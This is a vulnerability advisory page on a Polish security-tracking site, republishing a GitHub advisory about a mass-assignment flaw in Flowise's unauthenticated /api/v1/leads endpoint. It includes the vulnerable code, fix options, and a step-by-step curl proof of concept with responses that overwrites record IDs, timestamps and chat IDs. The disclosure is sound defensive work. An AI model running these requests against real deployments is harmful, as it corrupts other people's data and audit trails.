Wysoka

Flowise Allows Mass Assignment in `/api/v1/leads` Endpoint

  • Ujawniono: 06.03.2026
  • Aktualizacja: 11.10.2026 10:22

Summary

A Mass Assignment vulnerability in the /api/v1/leads endpoint allows any unauthenticated user to control internal entity fields (id, createdDate, chatId) by including them in the request body.

The endpoint uses Object.assign() to copy all properties from the request body to the Lead entity without any input validation or field filtering. This allows attackers to bypass auto-generated fields and inject arbitrary values.

Field Value
Vulnerability Type Mass Assignment
CWE ID CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
Authentication Required None
Affected Endpoint POST /api/v1/leads

Details

Root Cause

The vulnerability exists in /packages/server/src/services/leads/index.ts at lines 27-28:

ts
// File: /packages/server/src/services/leads/index.ts
// Lines 23-38

const createLead = async (body: Partial<ILead>) => {
    try {
        const chatId = body.chatId ?? uuidv4()

        const newLead = new Lead()
        Object.assign(newLead, body)  // ← VULNERABILITY: All properties copied!
        Object.assign(newLead, { chatId })

        const appServer = getRunningExpressApp()
        const lead = appServer.AppDataSource.getRepository(Lead).create(newLead)
        const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)
        return dbResponse
    } catch (error) {
        throw new InternalFlowiseError(...)
    }
}

The Object.assign(newLead, body) on line 28 copies ALL properties from the request body to the Lead entity, including:

  • id - The primary key (should be auto-generated)
  • createdDate - The creation timestamp (should be auto-generated)
  • chatId - The chat identifier

Lead Entity Definition

The Lead entity at /packages/server/src/database/entities/Lead.ts uses TypeORM decorators that should auto-generate these fields:

ts
// File: /packages/server/src/database/entities/Lead.ts

@Entity()
export class Lead implements ILead {
    @PrimaryGeneratedColumn('uuid')  // Should be auto-generated!
    id: string

    @Column()
    name?: string

    @Column()
    email?: string

    @Column()
    phone?: string

    @Column()
    chatflowid: string

    @Column()
    chatId: string

    @CreateDateColumn()  // Should be auto-generated!
    createdDate: Date
}

However, Object.assign() overwrites these fields before they are saved, bypassing the auto-generation.

Why the Endpoint is Publicly Accessible

The /api/v1/leads endpoint is whitelisted in /packages/server/src/utils/constants.ts:

ts
// File: /packages/server/src/utils/constants.ts
// Line 20

export const WHITELIST_URLS = [
    // ... other endpoints ...
    '/api/v1/leads',  // ← No authentication required
    // ... more endpoints ...
]

Proof of Concept

<img width="1585" height="817" alt="Screenshot 2025-12-26 at 2 28 00 PM" src="https://github.com/user-attachments/assets/807984e7-ae4f-4e8a-85b7-057d6ac42ff5" />

Prerequisites

  • Docker and Docker Compose installed
  • curl installed

Step 1: Start Flowise

Create a docker-compose.yml:

yaml
services:
  flowise:
    image: flowiseai/flowise:latest
    restart: unless-stopped
    environment:
      - PORT=3000
      - DATABASE_PATH=/root/.flowise
      - DATABASE_TYPE=sqlite
      - CORS_ORIGINS=*
      - DISABLE_FLOWISE_TELEMETRY=true
    ports:
      - '3000:3000'
    volumes:
      - flowise_data:/root/.flowise
    entrypoint: /bin/sh -c "sleep 3; flowise start"

volumes:
  flowise_data:

Start the container:

bash
docker compose up -d
# Wait for Flowise to be ready (about 1-2 minutes)
curl http://localhost:3000/api/v1/ping

Step 2: Baseline Test - Normal Lead Creation

First, create a normal lead to see expected behavior:

bash
curl -X POST http://localhost:3000/api/v1/leads \
  -H "Content-Type: application/json" \
  -d '{
    "chatflowid": "normal-chatflow-123",
    "name": "Normal User",
    "email": "normal@example.com",
    "phone": "555-0000"
  }'

Expected Response (normal behavior):

js
{
    "id": "018b23e3-d6cb-4dc5-a276-922a174b44fd",
    "name": "Normal User",
    "email": "normal@example.com",
    "phone": "555-0000",
    "chatflowid": "normal-chatflow-123",
    "chatId": "auto-generated-uuid",
    "createdDate": "2025-12-26T06:20:39.000Z"
}

Note: The id and createdDate are auto-generated by the server.

Step 3: Exploit - Inject Custom ID

Now inject a custom id:

bash
curl -X POST http://localhost:3000/api/v1/leads \
  -H "Content-Type: application/json" \
  -d '{
    "chatflowid": "attacker-chatflow-456",
    "name": "Attacker",
    "email": "attacker@evil.com",
    "phone": "555-EVIL",
    "id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee"
  }'

Actual Response (vulnerability confirmed):

js
{
    "id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee",
    "name": "Attacker",
    "email": "attacker@evil.com",
    "phone": "555-EVIL",
    "chatflowid": "attacker-chatflow-456",
    "chatId": "auto-generated-uuid",
    "createdDate": "2025-12-26T06:20:40.000Z"
}

⚠️ The attacker-controlled id was accepted!

Step 4: Exploit - Inject Custom Timestamp

Inject a fake createdDate:

bash
curl -X POST http://localhost:3000/api/v1/leads \
  -H "Content-Type: application/json" \
  -d '{
    "chatflowid": "timestamp-test-789",
    "name": "Time Traveler",
    "email": "timetraveler@evil.com",
    "createdDate": "1970-01-01T00:00:00.000Z"
  }'

Actual Response (vulnerability confirmed):

js
{
    "id": "some-auto-generated-uuid",
    "name": "Time Traveler",
    "email": "timetraveler@evil.com",
    "chatflowid": "timestamp-test-789",
    "chatId": "auto-generated-uuid",
    "createdDate": "1970-01-01T00:00:00.000Z"
}

⚠️ The attacker-controlled timestamp from 1970 was accepted!

Step 5: Exploit - Combined Mass Assignment

Inject multiple fields at once:

bash
curl -X POST http://localhost:3000/api/v1/leads \
  -H "Content-Type: application/json" \
  -d '{
    "chatflowid": "any-chatflow-attacker-wants",
    "name": "Mass Assignment Attacker",
    "email": "massassign@evil.com",
    "phone": "555-HACK",
    "id": "11111111-2222-3333-4444-555555555555",
    "createdDate": "2000-01-01T12:00:00.000Z",
    "chatId": "custom-chat-id-injected"
  }'

Actual Response (vulnerability confirmed):

js
{
    "id": "11111111-2222-3333-4444-555555555555",
    "name": "Mass Assignment Attacker",
    "email": "massassign@evil.com",
    "phone": "555-HACK",
    "chatflowid": "any-chatflow-attacker-wants",
    "chatId": "custom-chat-id-injected",
    "createdDate": "2000-01-01T12:00:00.000Z"
}

⚠️ ALL three internal fields (id, createdDate, chatId) were controlled by the attacker!

Verification

The exploit succeeds because:

  1. ✅ HTTP 200 response (request accepted)
  2. ✅ id field contains attacker-controlled UUID
  3. ✅ createdDate field contains attacker-controlled timestamp
  4. ✅ chatId field contains attacker-controlled string
  5. ✅ No authentication headers were sent

Impact

Who is Affected?

  • All Flowise deployments that use the leads feature
  • Both open-source and enterprise versions
  • Any system that relies on lead data integrity

Attack Scenarios

Scenario Impact
ID Collision Attack Attacker creates leads with specific UUIDs, potentially overwriting existing records or causing database conflicts
Audit Trail Manipulation Attacker sets fake createdDate values to hide malicious activity or manipulate reporting
Data Integrity Violation Internal fields that should be server-controlled are now user-controlled
Chatflow Association Attacker can link leads to arbitrary chatflows they don't own

Severity Assessment

While this vulnerability doesn't directly expose sensitive data (unlike the IDOR vulnerability), it violates the principle that internal/auto-generated fields should not be user-controllable. This can lead to:

  • Data integrity issues
  • Potential business logic bypasses
  • Audit/compliance concerns
  • Foundation for chained attacks

Recommended Fix

Option 1: Whitelist Allowed Fields (Recommended)

Only copy explicitly allowed fields from the request body:

ts
const createLead = async (body: Partial<ILead>) => {
    try {
        const chatId = body.chatId ?? uuidv4()

        const newLead = new Lead()
        
        // ✅ Only copy allowed fields
        const allowedFields = ['chatflowid', 'name', 'email', 'phone']
        for (const field of allowedFields) {
            if (body[field] !== undefined) {
                newLead[field] = body[field]
            }
        }
        newLead.chatId = chatId
        // Let TypeORM auto-generate id and createdDate

        const appServer = getRunningExpressApp()
        const lead = appServer.AppDataSource.getRepository(Lead).create(newLead)
        const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)
        return dbResponse
    } catch (error) {
        throw new InternalFlowiseError(...)
    }
}

Option 2: Use Destructuring with Explicit Fields

ts
const createLead = async (body: Partial<ILead>) => {
    try {
        // ✅ Only extract allowed fields
        const { chatflowid, name, email, phone } = body
        const chatId = body.chatId ?? uuidv4()

        const appServer = getRunningExpressApp()
        const lead = appServer.AppDataSource.getRepository(Lead).create({
            chatflowid,
            name,
            email,
            phone,
            chatId
            // id and createdDate will be auto-generated
        })
        
        const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)
        return dbResponse
    } catch (error) {
        throw new InternalFlowiseError(...)
    }
}

Option 3: Use class-transformer with @Exclude()

Add decorators to the Lead entity to exclude sensitive fields from assignment:

ts
import { Exclude } from 'class-transformer'

@Entity()
export class Lead implements ILead {
    @PrimaryGeneratedColumn('uuid')
    @Exclude({ toClassOnly: true })  // ✅ Prevent assignment from request
    id: string

    // ... other fields ...

    @CreateDateColumn()
    @Exclude({ toClassOnly: true })  // ✅ Prevent assignment from request
    createdDate: Date
}

Additional Recommendation

Consider applying the same fix to other endpoints that use Object.assign() with request bodies, such as:

  • /packages/server/src/utils/addChatMessageFeedback.ts (similar pattern)

Resources


Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka npm flowise < 3.0.13 3.0.13

Odnośniki

Ocena CVSS 7.7/10
Wektor CVSS
CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L
Słabość (CWE)
CWE-915
Platforma
npm
Paczka
flowise
Ujawniono
06.03.2026
Aktualizacja
11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-mq4r-h2gh-qv7x - CC BY 4.0

Historia podatności: flowise

Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (114) w archiwum
Wszystkich wpisów
114
Pierwsza → ostatnia
04.2024 10.2026
Bez poprawki
16
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 28
  • Wysoka 62
  • Średnia 24

Ujawnienia w latach

  1. 2024: 11
  2. 2025: 22
  3. 2026: 81
Istotność:
  1. Wysoka CVE-2026-70474 < 3.1.3 3.1.3
  2. Krytyczna CVE-2026-69259 < 3.1.3 3.1.3
  3. Krytyczna CVE-2026-69256 < 3.1.3 3.1.3
  4. Krytyczna CVE-2026-69253 < 3.1.3 3.1.3
  5. Krytyczna CVE-2026-69251 < 3.1.3 3.1.3
  6. Wysoka · 8.8 CVE-2026-46444 < 3.1.2 3.1.2
  7. Wysoka CVE-2026-46443 < 3.1.2 3.1.2
  8. Wysoka CVE-2026-56274 < 3.1.2 3.1.2
  9. Wysoka · 7.5 CVE-2026-46440 < 3.1.2 3.1.2
  10. Krytyczna · 9.8 CVE-2026-41264 < 3.1.0 3.1.0
  11. Wysoka · 9.8 CVE-2026-41276 < 3.1.0 3.1.0
  12. Wysoka CVE-2026-41274 < 3.1.0 3.1.0
  13. Wysoka · 7.5 CVE-2026-41275 < 3.1.0 3.1.0
  14. Wysoka · 7.1 CVE-2026-41271 < 3.1.0 3.1.0
  15. Wysoka · 7.1 CVE-2026-41272 < 3.1.0 3.1.0
  16. Wysoka · 7.1 CVE-2026-41269 < 3.1.0 3.1.0
  17. Wysoka · 7.7 CVE-2026-41268 < 3.1.0 3.1.0
  18. Wysoka · 7.5 CVE-2026-41266 < 3.1.0 3.1.0
  19. Krytyczna · 8.8 CVE-2026-41137 < 3.1.0 3.1.0
  20. Krytyczna · 9.9 CVE-2026-40933 < 3.1.0 3.1.0
  21. Wysoka CVE-2026-30824 < 3.0.13 3.0.13
  22. Flowise Allows Mass Assignment in `/api/v1/leads` Endpoint ten wpis
    Wysoka · 7.7 CVE-2026-30822 < 3.0.13 3.0.13
  23. Wysoka CVE-2026-30821 < 3.0.13 3.0.13
  24. Wysoka · 8.1 CVE-2025-71335 < 3.0.10 3.0.10
  25. Wysoka · 7.7 ghsa-j44m-5v8f-gc9c < 3.0.8 3.0.8
  26. Krytyczna · 9.9 CVE-2025-61913 < 3.0.8, < 3.0.8 3.0.8
  27. Wysoka · 8.3 CVE-2025-61687 >= 3.0.7, < 3.0.8 3.0.8
  28. Krytyczna · 9.8 CVE-2025-55346 <= 2.2.7-patch.1 brak poprawki
  29. Wysoka CVE-2025-71336 >= 2.2.7-patch.1, < 3.0.6 3.0.6
  30. Krytyczna · 9.8 CVE-2025-71334 >= 2.2.8, < 3.0.6 3.0.6
  31. Krytyczna · 9.1 CVE-2025-71324 >= 3.0.5, < 3.0.6 3.0.6
  32. Krytyczna · 10.0 CVE-2025-59528 >= 3.0.5, < 3.0.6 3.0.6
  33. Wysoka · 7.5 CVE-2025-59527 >= 3.0.5, < 3.0.6 3.0.6
  34. Krytyczna · 9.1 CVE-2025-57164 >= 3.0.5, < 3.0.6 3.0.6
Pokaż więcej (10) Widać 80 z 90

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.